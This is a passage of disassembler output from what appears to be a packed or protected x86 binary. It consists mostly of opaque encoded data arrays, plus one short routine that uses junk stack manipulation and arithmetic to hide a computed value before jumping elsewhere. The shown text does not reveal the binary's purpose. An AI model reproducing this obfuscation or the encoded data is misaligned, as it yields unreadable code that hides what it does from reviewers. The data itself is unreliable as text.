dd 62D6E3E3h, 61C69909h, 7A524432h, 0EF390654h, 0C180F3CFh dd 8A41D3B9h, 0ADF267D9h, 0AD165565h, 525h, 2FEE0239h dd 0C6AB12A7h, 57A0C962h, 0BFE8B77Fh, 57715C9Fh, 5A72D977h dd 0C5CD5274h, 0F548B6F5h, 0C699060Fh, 6F6726CAh, 56DAFFA7h dd 6DC69906h, 181C9515h, 9CEDABFFh, 0BB03F8A1h, 960CCB1h dd 8BE23800h, 1F50C5BAh, 0C0187024h, 0A769Bh, 2C2A1600h dd 1737173Ch, 15251239h, 193D6C3Bh, 183E6837h, 82D6ED30h dd 9DAAA694h, 9DAAA696h, 9BA0A888h, 0EA3ADB1h, 0E8F7144h dd 9984C699h, 0A80D3521h, 0C375E2C0h, 5CB3F2C3h, 2B146A4Ch dd 0B281DDE1h, 33ADB7D3h, 1167D98Ah, 485h, 0E257D855h dd 4EA2C375h, 0AEB2074Fh, 25C962C6h, 9CE2C0CAh, 0B2FB754Dh dd 1B8421C2h, 6DBF80CAh, 90B88749h, 0C860704Eh, 0D88581BAh dd 0EB3D0CA7h, 17D5E8CBh, 0CD1E2068h, 9BCB3085h, 0FFC8CCB1h dd 23FF1702h, 5C7FDB70h, 9DBh, 99B7878Dh, 96BA98B2h, 90B88089h dd 0ACBC808Bh, 0ADA39B87h, 0F1397100h, 0D3807C9h, 133807C9h dd 16361D33h, 39A91830h, 990E149Ch, 8AFC2FC6h, 882D7A52h dd 0C375E220h, 0BD81D223h, 26745A72h, 2A7DC282h, 0E2D2A673h dd 80D1C375h, 656574B7h, 0B2FFC5C7h, 0D55B48Ah, 989C354h dd 54F4C588h, 0D94ADD77h, 9311E67h, 0A19CED31h, 19CE4h dd 7A52EE00h, 6F4A7254h, 0C375E299h, 598D409Ah, 1D421FC6h dd 0A691F1CCh, 210E4066h, 0ACFDC1F9h, 8E48351h, 30854D05h dd 0C375C848h, 0B33B7A4Bh, 5CDA1966h, 0F1CD1EC9h, 18DC49E1h dd 2579414Eh, 18AEF2C4h, 0AD623801h, 2F78DE3Ch, 87E6C8C0h dd 92A95222h, 0E1C5C7C6h, 5664529Dh, 0BBDF8C08h, 9630DB77h dd 0F23F1282h, 423261h, 35B40000h, 30901D7Dh, 2E0D8F2Fh dd 16B85D93h, 5C1B2A83h, 7C063EC9h, 8A8FAB90h, 0DE2F9CDFh dd 0A458D080h, 52868359h, 229277B6h, 54C69D34h, 970913B7h dd 4461F0B8h, 0B288CCFBh, 0D9A3185Bh, 27000000h, 1D236A35h dd 83DF2808h, 24644BAAh, 35804802h, 0C375E243h, 62F7740h dd 0FA3847D7h, 8EF9C924h, 1B64BA80h, 34183331h, 1CB687E6h dd 0E9351933h, 5A62A980h, 0F0D8271Bh, 0F25F62EEh, 79C376D2h dd 0F8470F2Fh, 71BCF3D3h, 0D5107945h, 898C601Fh, 80AFF4C1h dd 5BA4C95Eh, 0BAE44B73h, 5051279Ch, 1F52C69Fh, 0FBD2280Ch dd 3C034BAAh, 5804C4F2h, 0ADF1D5F7h, 50289025h, 0DA2BC69Fh dd 5B47AA89h, 2504347Dh, 108DDEFEh, 6A3AF82Fh, 28005BF7h dd 0C0000008h, 0C16EE2D4h, 0DC6BE5C5h, 0DE65EBD3h, 0DA61EFCFh dd 5362EEECh, 74424C24h, 74404FD4h, 7E5E4FD4h, 634345D2h dd 2F8ADCEDh, 0C6990C59h, 357F2B5Ah, 0B9CBA47Dh, 6FB94007h dd 0D03F7E4Fh, 0D378D0E6h, 577BD5F9h, 2206A35h, 0A38EED3Ch dd 0E794569h, 6710381Eh, 22Dh, 2FEE02B3h, 0AFAF98A7h, 1EB3064Ch dd 9BC95D0Fh, 3381744Ah, 45C692CEh, 88180086h, 4461F262h dd 1E8h, 0E255D80Eh, 4CA0C375h, 0B6B40149h, 3DC962C6h dd 6D32FAECh, 0F8D71626h, 97A790D0h, 62DA8A46h, 0FD812D4Eh dd 0EFC2216Ah, 2A4599BDh, 0F3CDD9C6h, 41A8F6C6h, 0F2C32A70h dd 8E88FDD8h, 0BC8DCCB1h, 23F468FFh, 43183070h, 75Fh, 153B0309h dd 123E1C0Eh, 2C3C1C05h, 28200407h, 29271703h, 8DB5ED84h dd 89B4834Dh, 97B4834Dh, 9AB299B7h, 0BD1594B4h, 990D9018h dd 366093C6h, 6547A52h, 0BD03965Eh, 3FC375E2h, 8FD9ED7Ch dd 9DEEBF5Ah, 7559735Eh, 0B0D68529h, 3A163810h, 8177420Ah dd 82C3758Eh, 2DA772B1h, 1F67D922h, 138h, 547A52ABh, 0D5E52D72h dd 7D45A089h, 92341A32h, 7BBA9A8Dh, 13F2FEF5h, 93AB94BBh dd 42BF1A50h, 4EC95CF0h, 0B684A4E1h, 2FA71457h, 92EF268Ah dd 22E53DC6h, 3E4A0B4Ch, 1A60B182h, 92A3DDA7h, 0E6E0ABC6h dd 0F24962F2h, 316261h, 2640000h, 98A72FEEh, 551ACB2h dd 5CFEDFB0h, 14022DC9h, 2576C726h, 7BA689D9h, 0CF2E7F43h dd 92FE8A6Ah, 0AB2FFCC6h, 0F2722FA1h, 0A51D61h, 52A90000h dd 3906547Ah, 8AF5C9F1h, 115EBC82h, 8BD66E37h, 0C20D98D4h dd 4276FABFh, 7984C375h, 80636224h, 6B4E00D1h, 0C3756385h dd 137C4D9Eh, 0B53F9C3Dh, 62AAC376h, 0F9F78C5Ch, 3267B214h dd 37C95F59h, 5743ECE6h, 310D2D79h, 6FC78FD8h, 5F0371CAh dd 0D01C5F3Eh, 827F5F4Bh, 6A3A86B5h, 18F6E57Dh, 0F0000006h dd 0F15EF2C4h, 0CC5BF5D5h, 0CE55FBC3h, 0CA51FFDFh, 4352FEDCh dd 4327C34h, 4307FC4h, 0E2E7FC4h, 735375C2h, 0DFFAECDDh dd 0C6991269h, 524F3B6Ah, 0ADFA5664h, 0C9F55B7Bh, 3D013966h dd 52D991ECh, 3906547Ah, 9127C6EFh, 85702F1Ch, 22E394B4h dd 37000000h, 3236A35h, 0FBDBCD20h, 6E7058A7h, 0A224A710h dd 28200606h, 266Fh, 0AD98A700h, 397455A9h, 3F6A35A1h dd 0E2ED5366h, 95E6C375h, 20A6944h dd 961BDE3Ch, 41C375E2h, 7058E8EEh, 522EE26Eh, 20882D7Ah dd 23C375E2h, 22BD81D2h, 9D63B6CEh, 96C375E2h, 0AA527445h dd 79E76692h, 6B4AD762h, 6218F28Eh, 3E90E1C9h, 0C16E3711h dd 0B796E4C4h, 98260EF2h, 684D05C6h, 0C6982680h, 1061B283h dd 0C8EB86BEh, 0FD414FD8h, 0A3E5B2BEh, 0BEAF969Dh, 430FFFA4h dd 0A188D627h, 7F6D0A50h, 0B0E1349Eh, 0BDCC8FEBh, 0ECD57A6Ch dd 7AC591ECh, 10DC0C52h, 0C5F99A18h, 0A786639Eh, 38074048h dd 8068CD11h, 83C8AF33h, 0E5F7FACh, 2AC6E13Dh, 156636Bh dd 46C2862Eh, 3F03236Bh, 7E4394EEh, 90ED1688h, 1B97DA47h dd 0FF5B7612h, 4D6DCh, 4C8AB600h, 0B797B79Ch, 0B585B299h dd 0B99D8C9Bh, 0B89E8897h, 22760D90h, 3D0AC6F4h, 3D0AC6F6h dd 3B00C8E8h, 0AE03CD11h, 132F9124h, 0F924C699h, 547A5281h dd 597DAFF4h, 0D2123A05h, 0A28BD7E7h, 0F2790D51h, 725474D4h dd 8E57C9DEh, 4A7567D9h, 71000000h, 0C0A80D35h, 0C3C375E2h dd 0E00CB3F2h, 828A953Dh, 0E208F0C5h, 3A0BC375h, 0F5C08AE9h dd 0C95D3009h, 8A953D0Eh, 115EBC82h, 0E4C71028h, 7A4441EEh dd 0DA330F4Fh, 8C724789h, 15C692ACh, 163D1333h, 92C91535h dd 43Bh, 547A52C4h, 0CAE42D72h, 4E9FE3C3h, 0EDC8217Dh dd 5C62AA95h, 0BD18C08Ch, 0C375E2CBh, 1BCFFC8h, 0F8A02AEBh dd 0B99B0640h, 0FE3D0991h, 5C821C19h, 0F2C819C9h, 929DB50Fh dd 8E08C3C6h, 0F20B0A9Ah, 5B03CB61h, 92658A7Eh, 0FBB889C6h dd 0C6926575h, 5FE3D0Eh, 33h, 2FEE0241h, 56DAFFA7h, 6DC375E2h dd 0ED95211Ch, 59CBD455h, 0DB1A3C32h, 5CF79D7Eh, 75499AC9h dd 92C73480h, 18942C6h, 0F269891Bh, 0FDBB61h, 520F0000h dd 62404A7Ah, 0B596B911h, 0EE694995h, 479F7749h, 2B1756A7h dd 96E4D2DCh, 0CDB306CEh, 0C6C375F2h, 715BB6F5h, 0E626116Dh dd 491CEDEh, 0C375F2BCh, 0C41566B7h, 3AAA82h, 5E446605h dd 22DD11Fh, 6DCA2909h, 0C3755C90h, 0DBFBD37Ch, 6847A687h dd 2321E20h, 0EDC8E83Dh, 5AA08686h, 0DDFD250Ah, 4A56A881h dd 0E3C51D2Eh, 41AFD211h, 0E6AF0A5Ch, 0AC95C9Ch, 0FAC0E025h dd 92E35093h, 6A2BC1BEh, 0F14A5560h, 0A9F6CCB8h, 0FC9F557Ch dd 0EC2FE2AEh, 4770BF83h, 9AC2677h, 0C8A416A7h, 0A31053BCh dd 297A5C4Ch, 0AA909EA1h, 0A99199A6h, 223A7BF4h, 0FCDF7B70h dd 2F7h, 0BD93AB91h, 0BA96B496h, 0B494A4EDh, 0B098BCEFh dd 0B19FBFEBh, 151D556Ch, 111C2B25h, 0F1C2B25h, 321A212Fh dd 0C58D3C2Ch, 991108F0h, 0AE180BC6h, 4D5F6452h, 0CB0E866h dd 745873BEh, 0E1E252Bh, 35602028h, 18013F6Ah, 0A28BD720h dd 0F3B03C43h, 49A9F5D9h, 0A241DC04h, 78499AACh, 67EA4356h dd 0A887C95Ch, 28015D61h, 7DA8F7DFh, 0C9240559h, 57B004F9h dd 5C6C692h, 0DA059F85h, 693661F1h, 0EF3E1C3Ch, 0BA378Ch dd 80AF0000h, 1149A48Ah, 6547A52h, 0CEC0F139h, 85DD8151h dd 95E9CDDFh, 7046BB4h, 3588D627h, 0C3758648h, 0FDD5F9D3h dd 35D67D35h, 4A9F7A77h, 75331BEDh, 0ECCF18C3h, 0EDF1DB60h dd 5FAF691h, 0CBEB221Ch, 7445A4FAh, 20CE4752h, 5AABC95Ch dd 12F3F9F6h, 90B497B8h, 4A00634Ah, 0B86A516Fh, 597142CCh dd 0B3F2C8F6h, 2C2A143Bh, 132B173Ch, 21CCFF6Eh, 0C4FEB70h dd 1F3h, 0A1AFAF95h, 0BE92B09Ah, 0B890A891h, 0B494B893h dd 0B59BA3EFh, 19015968h, 15002F21h, 0B002F21h, 0E1E252Bh dd 0C1812028h, 99160CF4h, 0A21407C6h, 2206A35h, 0A38EED3Ch dd 0A2894777h, 0C484446Ah, 6547A52h, 0BD03965Eh, 0B6C375E2h dd 0E12B0665h, 0E42473DDh, 0DE3FCC2h, 0F2734608h, 0FFC95CF8h dd 0BF2C50AEh, 0BF9F891Bh, 7716DA91h, 9D88975Fh, 509D7AB9h dd 5CCBA1Fh, 8F99E634h, 0E5E453AFh, 34D917E5h, 34CA0792h dd 0AE56C293h, 0C086A50Bh, 656DBED2h, 0C086E850h, 5B9AEBD2h dd 63D5E0EAh, 60D2C086h, 0A38CC617h, 15744A6Ah, 1B0D1AD6h dd 88A8FD42h, 0C086452Bh, 3C0D5ED2h, 94B491DEh, 11386D32h dd 0BF6E0657h, 0DE3C0D4Ch, 2E52AC8Fh, 9D8F1DBDh, 485D7BA7h dd 2CE1F68h, 0B0988765h, 64B599B0h, 0AFBA1012h, 11627A72h dd 5BEB1CB9h, 0B179D8E9h, 0E95B9C64h, 674697D4h, 6F6F5B96h dd 95E93A13h, 43B175CDh, 0CD04E77Ch, 0B985B5E2h, 0EE3E1550h dd 1DCEF2C8h, 3580487Dh, 0D4E94443h, 0E02E65C9h, 3E8FDE4Dh dd 0FDF38EEDh, 0E263B618h, 8FDEC0F2h, 17D592BEh, 0C2C6AA0Fh dd 4B43DEF6h, 74579A6Bh, 0D2230A50h, 7E60B588h, 5DAE9C40h dd 0D218A075h, 4A9BD4E1h, 3D010B74h, 60C8ED95h, 0EAE01A1Bh dd 4C56DD8Dh, 3001D207h, 0E8B77FF5h, 6B4298BEh, 0E13D1904h dd 4646AD88h, 0C4C16E60h, 3CB0389Dh, 62B3E01Ah, 0EAFCCD11h dd 1A3C79CFh, 0CA297AE0h, 0F30201F4h, 8DF1F3D8h, 754969A2h dd 86D914h, 8A4668A0h, 774B6BBDh, 0B198A76Fh, 0CB60C8ADh dd 3F9AF3C4h, 0F3C4CB49h, 26A8794Ah, 0C4CB2D93h, 84D526F3h dd 6A434AA9h, 9F4C787Fh, 76449538h, 53F19942h, 0CBFB5579h dd 25002664h, 0A2F8DECEh, 0A39h, 0FAD27D00h, 44A786D4h dd 526F2312h, 3D0A5066h, 88F7CBEBh, 105FA383h, 0E2CD1125h dd 4FB886B4h, 0D8277B43h, 0A691EDF1h, 327D4179h, 2E43A18h dd 53E18951h, 4BBh, 5BD90100h, 8704E983h, 685C240Ch, 4773h db 89h, 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push edx push 2A9948F1h pop edx shr edx, 8 add edx, 0AD34B6Bh shl edx, 7 xor edx, 7B1EBD63h mov esi, edx mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push eax mov eax, 8 add eax, edi mov [eax], esi mov eax, [esp] add esp, 4 push dword ptr [esp] pop edi add esp, 4 mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_545FF7 ; --------------------------------------------------------------------------- db 83h dd 8F39E9B7h, 0DFB82AFCh, 305ECF6h, 15E0FFC5h, 0A073485Eh dd 0F3AE4F8h, 4C760D16h, 8E02624Ah, 27216E13h, 0E3255B04h dd 9B4AA0ADh, 0FB71B099h, 946EFAD1h, 2E7A1BDEh, 7471105Bh dd 0AF68AF77h, 5549F8BAh, 68366BB3h, 29250870h, 0D23CF358h dd 604FADC6h, 3B5B340Fh, 2D661162h, 0AC394927h, 0C32B080Ch dd 3D11017Eh, 8A16059Fh, 0A860DF5Ah, 0CF14B23Fh, 8A3443FEh dd 0C21108CCh, 49017555h, 58668D76h, 6748352Ch, 8D442326h dd 0ECF8D48Dh, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 1E565F98h, 8A12C9BDh dd 89F88BD7h, 0E723158Dh, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 8DB8663Eh dd 0B985C724h, 6405E708h, 5700005Dh, 85C75FF9h, 5E70C99h dd 0 dd 119D8B60h, 0E805E705h, 6, 3414B397h, 616004EAh, 0B5FF6159h dd 5E72B19h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 4C35343h, 74BA663Ch, 0CD95FFF6h, 6A05E732h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0F5B3C351h, 8DF97D91h, 0D18B6017h, 6A61F5h, 1A1D95FFh dd 0C08B05E7h, 0E4A10CEBh, 6623A1ADh, 6405607Ch, 8EB05D7h dd 3621EFC3h, 2410000h, 0CF1E9h, 0FAE46800h, 38E905ECh dd 68FFFB4Ch, 5ECFC1Dh, 0FB4C2EE9h, 0FDFF68FFh, 24E905ECh dd 68FFFB4Ch, 5ECFEC6h, 0FB4C1AE9h, 0FFFA68FFh, 10E905ECh dd 68FFFB4Ch, 5ED01C5h, 0FB4C06E9h, 25868FFh, 0FCE905EDh dd 68FFFB4Bh, 5ED0370h, 0FB4BF2E9h, 4A268FFh, 0E8E905EDh dd 5FFFB4Bh, 0EEDA2304h, 49BF8455h, 10107DB6h, 0FCF4D10Eh dd 33AAB368h, 0D0091386h, 0B66BFDCBh, 6EC75BADh, 0C51A2305h dd 88C5E6F8h, 351A8972h, 4B9CB9D9h, 0E5437DB2h, 14A68F60h dd 0D228A5F6h, 7930F670h, 28460FFEh, 8330F670h, 0D5FE41A8h dd 36DD7DEEh, 6DC659AFh, 4C3FE853h, 1002CBE5h, 2635117Dh dd 694A911Dh, 98C69817h, 1B2107B1h, 921B6CEh, 8B6733F9h dd 8756297Bh, 117CB0CEh, 0ABD01B35h, 35117C57h, 0C6D475FCh dd 7400B28Bh, 4E78h, 0FF1D1F00h, 70CB27ACh, 516030F6h dd 0F6700664h, 0BB82AD30h, 95E4D150h, 0DC36DD8Ch, 0D3E57588h dd 9E1D8E69h, 0EC7A321Dh, 0F19610CBh, 3196F180h, 0CC9E34Ah dd 35113A12h, 166C9A76h, 3655E82h, 2BFC14FCh, 0FFDC044Fh dd 0FCE373h, 4BE60000h, 0FE8A7DB2h, 7C4A499h, 0F28207EBh dd 0A1DB1014h, 9A6DC25Bh, 6DEDF50Eh, 0F6570A60h, 0F2B6A130h dd 0DFEDBDEDh, 0B4F583A8h, 8113B4E1h, 9952EA3Eh, 0C8253800h dd 5E4FFAE3h, 7A8330F6h, 0D6CB8BF8h, 1FADBCADh, 0B49649CBh dd 40ADB4C5h, 6800DD60h, 9A6DA6C4h, 0DD8B6E31h, 19912736h dd 23264457h, 333A6126h, 0A16A882Ah, 68BC0FDEh, 215D06D3h dd 8A351199h, 61ADE6A3h, 2A3307F3h, 0DFE94ADEh, 61C8B314h dd 1BA10A9Eh, 3FCC3FFCh, 2470C36Ah, 964BDC26h, 9D0A15DEh dd 8978B14Bh, 0D46FABB3h, 0BB826D07h, 59E3C5EEh, 837E0080h dd 25BFD992h, 0A57BAh, 5D9AAF00h, 3EEB7070h, 974CD3D5h dd 4BA4BA8Eh, 2DFE0662h, 0A51C8DC0h, 7614A9Fh, 0EDDB2001h dd 0B5B3985Dh, 7C167FB0h, 8A08666Fh, 2FA3351Ah, 78B14B72h dd 9B049013h, 66B7C604h, 71AAB1B7h, 0A07D80A8h, 0FACE065Bh dd 37F08861h, 31FA1892h, 8CFA054Eh, 985336DDh, 17D5629h dd 0AA35116Ch, 0D77E0683h, 35116C67h, 5A12CF51h, 0FB97E8Ch dd 0FE40C024h, 35FEB667h, 0B2B4922Ah, 15F8437Dh, 9B3FFD0Dh dd 67EA7F8Fh, 1C74009Eh, 10Dh, 0E5B24B43h, 7D65AD7h, 1C59DA59h dd 30F660DEh, 99D31010h, 0DD240F5Eh, 0D9F85E6Ah, 0F28A5FE5h dd 4E177309h, 4E2B217h, 34912B00h, 30F6F17Dh, 6A73ACB1h dd 9ED6071Eh, 0B437FC1Eh, 0F092E8E5h, 861C30F6h, 2559DB41h dd 7A2F0659h, 6B57FAD3h, 77FE36DDh, 4E9BA0F4h, 6B5CCD36h dd 67BC4C98h, 7F86E24Dh, 6381F9AEh, 7206D9A8h, 3F04CC59h dd 396A3FFCh, 330721E4h, 1D08B349h, 0D3538E55h, 46622A62h dd 0B1B73FB7h, 996873ACh, 0B46DF2C6h, 0FF37CD13h, 5D92AB67h dd 26026B72h, 4D5BCD1Eh, 8ED99372h, 91E6DF6h, 0D3560000h dd 243F0912h, 859AEEF7h, 0DD6147ACh, 37CD3B00h, 55C299E2h dd 3A03D86Ch, 9CF93ACEh, 74519694h, 2F34E97Ch, 43BF14B7h dd 0E8351A8Ch, 7FCEABE6h, 0F6701856h, 0EFB8B330h, 50CB43D9h dd 6F83C884h, 0C430F63Eh, 92815F6Dh, 1A52879Ch, 1CEFF6D1h dd 61E535C8h, 200BF48Ch, 0C9FAAF88h, 0AC8966FFh, 7DB24B2Fh dd 8F60E543h, 0A606D3Ch, 4130F670h, 0F670F674h, 0F3925D30h dd 0F486AF78h, 7FFF00D6h, 0B5F4B1A9h, 12AAB581h, 7C292174h dd 87EEF2EEh, 7D44A1A1h, 0BDA6C18Ah, 1CEF36DDh, 115D3BB7h dd 0C6449035h, 2EA70661h, 35115DD0h, 6457F07Bh, 84D0B3CDh dd 0EBFDAA7Fh, 0B0B09D52h, 9D3870ADh, 0BDDBBE7Eh, 28F70713h dd 0F5F3D815h, 5805BF70h, 0B2577EDDh, 0F9CB7B47h, 0C85E98A3h dd 8B740C17h, 6233CA1Eh, 577E1569h, 0ACB7BEB2h, 0A7748FDDh dd 1662C1E2h, 0F10D460Fh, 5AB2577Eh, 0C91F8893h, 8F60E634h dd 40230AF5h, 863EF374h, 0CD88ECBDh, 0B2577E4Ah, 9A38486h dd 0BDF72C33h, 6D07D46Fh, 0A452BE82h, 0E06E7A46h, 5E21FE07h dd 81A8C68Fh, 28034DA8h, 0EB72767Fh, 6BDA1B2Fh, 0A8810C62h dd 0A58CA74Dh, 0DF496B0Bh, 634C4011h, 0A918639Eh, 0B1A4EC13h dd 3AC3F8DEh, 1960CBE5h, 25903D80h, 744B83A9h, 0A4C690FDh dd 54379C6Fh, 0E54E6461h, 9E51324Ah, 0A86EB935h, 30F1774Dh dd 40018651h, 4DA86ED5h, 0E8805DE1h, 55890D12h, 4C6708DDh dd 0F7641C67h, 2941AB5Bh, 0B9982DDDh, 0AEFC8937h, 4C5h dd 70B63431h, 170730F6h, 5E30F680h, 30F664C4h, 0F663FD7Dh dd 283A4E30h, 0AAF375E6h, 365456F3h, 2C3E0AFDh, 0D176B1CBh dd 0FE32410Ah, 88A336DDh, 6BCB9A18h, 9E395BDFh, 73Ch, 6B70B5B4h dd 0C8D5061Dh, 0A18A67F8h, 56EBF47h, 0FBC01923h, 0BA4237E0h dd 1C2C0461h, 788AFEC7h, 0CB5256BFh, 72510912h, 1A8D2559h dd 45008E35h, 437DB24Bh, 0D70791B3h, 120C8ACBh, 942250Ch dd 36E3B11Ch, 3A75B51h, 0F95AF9FAh, 58EF7D20h, 3F06E19Bh dd 0EEBD0D6h, 0F4427ECh, 3331E804h, 45B912A5h, 0EE30FDE7h dd 0C2F37C47h, 0E05C3BEDh, 2B9A5173h, 0B7D617A2h, 0FDB7BE99h dd 11905B79h, 0D6F9755Eh, 9B529A7Bh, 0D8ECBF0Eh, 0D71F4F42h dd 1172D798h, 9C50FBC8h, 834FD765h, 230CA47Dh, 0BF0EF1D8h dd 8F18D569h, 624BA4B9h, 71B2B583h, 0FD7D80A8h, 3CD34B8Eh dd 73D53CB7h, 88EEFA49h, 7561EA8Ah, 8D000006h, 5652BB7Ch dd 31371CCDh, 98E8F52Eh, 644CA986h, 0AB220BE0h, 0A8819BFEh dd 0EE36543h, 0E63FC325h, 5D92AB9Dh, 4D1E70h, 351A8EEAh dd 0CE143141h, 7018567Fh, 0C29630F6h, 0BDBE9FFBh, 83042FBEh dd 0A302C9EBh, 0AD8284D0h, 167F2813h, 36DDF2D3h, 5378CB9Ah dd 3511121Fh, 0BA30BDB4h, 74351112h, 0A6813BF0h, 0D09B0C27h dd 84996F19h, 3973B4B6h, 0BA738AFEh, 0D35A1953h, 828FDFC5h dd 0CD830EDEh, 0F1BFCD80h, 748BF1F5h, 6D3A05BFh, 0E200B141h dd 0A335774h, 26D5C6Dh, 87FBD0A3h, 2C3511E6h, 0A692FB58h dd 99E0D3E0h, 2B459AA3h, 25F447C0h, 369350D7h, 3A9C2A5Dh dd 7F556333h, 0A87225Dh, 0EEE6B3DAh, 8A958A95h, 819AAE1Dh dd 30679B30h, 65CC30F6h, 0BE99621Ah, 1B577CCFh, 0B030F630h dd 9EC7E0B9h, 30F6309Ch, 0FB775C2Fh, 3530F630h, 43EAFD2Eh dd 30718DC6h, 0CBE930F6h, 1FEEA100h, 0F63038B6h, 0CF589330h dd 0E3298186h, 7182C36h, 74952977h, 0F1D809D8h, 0FE77DE96h dd 49351AB3h, 351AB3C8h, 6020FD00h, 0D397B946h, 4162EDF7h dd 0B1000005h, 1A6E77B0h, 0E5C32801h, 4CA48162h, 281865BAh dd 0E7FEC714h, 64B54F32h, 0DA17291Fh, 0B273F7F1h, 69C65FA9h dd 5C794A0Ch, 351A8F1Eh, 1D401DB5h, 27B534FFh, 0E2D3BE8Eh dd 9625E240h, 0E3E3283Dh, 12AA8536h, 97FC3134h, 9532A4C7h dd 6D0DC83Eh, 0F267AF50h, 1686A68h, 0A5B88E26h, 56348h dd 0BF3121B7h, 0A335A36Ch dd 1A8FC43Ah, 45D96F35h, 953E81E8h, 351A8F59h, 58107BF2h dd 0C3A27B82h, 0E9BE73F5h, 1F2F138Bh, 9BE03DC0h, 0FABB6CE7h dd 18A1B73h, 0CE7E0000h, 0BD8B64FAh, 0D8D277A8h, 5DA6CBAh dd 0C6B9806Bh, 9189CCB2h, 0A871B671h, 0EAE3B205h, 30F60C94h dd 3293343Fh, 36DDE7C3h, 0A4215B92h, 351127B8h, 47EE1C20h dd 0B61FEE25h, 333ACC47h, 51C8E2F6h, 0AF0CB295h, 0AC7D4495h dd 1B6D76E1h, 0CAA37002h, 4FE34FFEh, 67FE4C64h, 8ADEADB6h dd 8FEFB871h, 8EC7A66Dh, 36DD5407h, 0AC153246h, 31863148h dd 0BB0A2568h, 8982D42Dh, 0BA6FC96Fh, 730373DAh, 14673511h dd 73F20845h, 9E593511h, 780D3D09h, 7400BAD9h, 438Eh, 55E93F00h dd 0CE520F98h, 0F48C65FAh, 0FE1C9E0Bh, 70CA20ADh, 0F66130F6h dd 0FA4D1CEFh, 0F6709DD1h, 6A3F3630h, 0DD8CD639h, 0BCF47F36h dd 54899DEBh, 6CA092F3h, 68C43511h, 9E0C47DAh, 9FFB7400h dd 9E000000h, 8A7DB24Bh, 705C923Bh, 7CF730F6h, 0E973C9ABh dd 9BA27830h, 49DC2A42h, 6D3C8F94h, 0F6700A60h, 11B6A130h dd 0F675F1B0h, 0F7283D30h, 65AECCEEh, 1C2AC982h, 0B0BB36E0h dd 8861FB31h, 4471C0A3h, 351FD326h, 0D3E5A28Dh, 0A0309049h dd 5DDF6E20h, 3769843h, 7B8E0000h, 0CC5751BAh, 2D32361Fh dd 8599EFF4h, 0DF6543A8h, 0FDAA210Ah, 42AB8084h, 2401E266h dd 9CF93ECCh, 775C9194h, 0EB074C1Fh, 40351B71h, 0B14B134Eh dd 9D368978h, 30F67061h, 563CAh, 0FDAA952Fh, 0B469FCF4h dd 0B24B32AFh, 60E5437Dh, 0F1C7A68Fh, 0ABE8B16Ah, 0F6F04A34h dd 0F0130330h, 517330F6h, 0A5A22B9Ah, 836E3E9h, 0C5E79721h dd 708EC796h, 0DB351A08h, 8176B10h, 0B5BC351Ah, 0E3F2DBAAh dd 723331E0h, 0DC9129FBh, 3242D98Fh, 2E3A9h, 290E1300h dd 8A5FE4CCh, 63C047A1h, 0C7182E1Ah, 0B9728AFEh, 2990395Ch dd 8BFDC613h, 5157BC75h, 390F14D1h, 0E8E2CB24h, 727CF2DBh dd 0BBD7351Bh, 20B24B9Eh, 86A573F8h, 5BF86ACh, 629C1E27h dd 0E5D83F57h, 0CA94F1D8h, 318063A8h, 9755CABBh, 0D277DE77h dd 0DD690AF1h, 0E880AB36h, 1169ED6Dh, 8DBD8935h, 0A559F8h dd 2C0E74h, 1D510000h, 0C61329FFh, 8B7A45AEh, 0DD8CBFC2h dd 0A5DF1636h, 116C3E38h, 1B515A35h, 0AA952F04h, 0AC41F1FDh dd 74009EA5h, 0CF42h, 0B24B0500h, 1460437Dh, 654BDC11h dd 0DF0C17DFh, 39735AA5h, 0D40D1266h, 37904DD0h, 0A9C31C21h dd 9215CA53h, 196FC046h, 56912B04h, 0B88FF0F1h, 7430F675h dd 7F4D3CF1h, 2D3137E4h, 2A1E57F0h, 1D6BDA13h, 0C9AD207h dd 0E4A967F4h, 0C9DE4BEh, 6DA6C468h, 0B96319Ah, 343F36DDh dd 0F3085C2Fh, 0EB096126h, 6F744120h, 0C2330760h, 0B84C986Bh dd 162E1A63h, 4E8143C5h, 22B2D993h, 1CBB9h, 0C1263B00h dd 0A2778CE4h, 1BD86F59h, 0FF303632h, 518A9296h, 31A81174h dd 9395FE2Bh, 794F548Dh, 0C1270CE9h, 0C09AE33Ch, 7394EAE3h dd 933F351Bh, 68FACEF6h, 9D0AF58Fh, 1378B14Bh, 6CDF1015h dd 70BA309Dh, 0C61130F6h, 0B7856041h, 0EDAA7FACh, 0B534FF1Dh dd 0DD8CF118h, 2E915836h, 0CDB145DAh, 7A7390A3h, 0E5BF6873h dd 11C0FE78h, 0FD3AC835h, 0CE165C3h, 44BA1374h, 0EF3511C0h dd 0E2107844h, 64927E18h, 2C1D8A1Eh, 6A226A40h, 0D272E1BDh dd 0D51173FFh, 78000000h, 437DB24Bh, 3B8A5FE5h, 58257EDh dd 90982C7Fh, 5A19CD9Bh, 6FE06F44h, 4CB84C59h, 7BF8ADBh dd 0EA7330F6h, 45D82835h, 6275B70h, 0A58C30F6h, 7092225Ah dd 0CB509EA6h, 0B29D661Eh, 6649A33h, 64CF30F6h, 0CDDBAA1Dh dd 66AA2FF7h, 0E0A16643h, 36DDF6A1h, 0BAC42108h, 0F4C70E98h dd 9DB69D9Ah, 146033B2h, 1849DE13h, 33076BDAh, 6AC35B91h dd 4D30E952h, 303503E2h, 0B5832AFFh, 95E9E2AFh, 3E30F8ABh dd 0E1C72C37h, 558A935Bh, 57C9D01Bh, 0D9935897h, 99933C44h dd 0E9000000h, 0B2B69F58h, 1D6B70A9h, 0E4CC290Ah, 40A08D62h dd 4F066FBCh, 8C5DE7DAh, 62BF41A7h, 0DA1B2F19h, 0B16EF7F1h dd 24913254h, 351B74C6h, 4B28656Dh, 151378B1h, 99F6DF10h dd 437DB24Bh, 0A68F60E5h, 4A3DF614h, 7D37E87Eh, 0D4615B2h dd 36E36914h, 2006BEB9h, 8DFBC01Dh, 400DA778h, 612FA295h dd 47A0AEB8h, 2C0461BEh, 0DBACC419h, 0BBE1A6CDh, 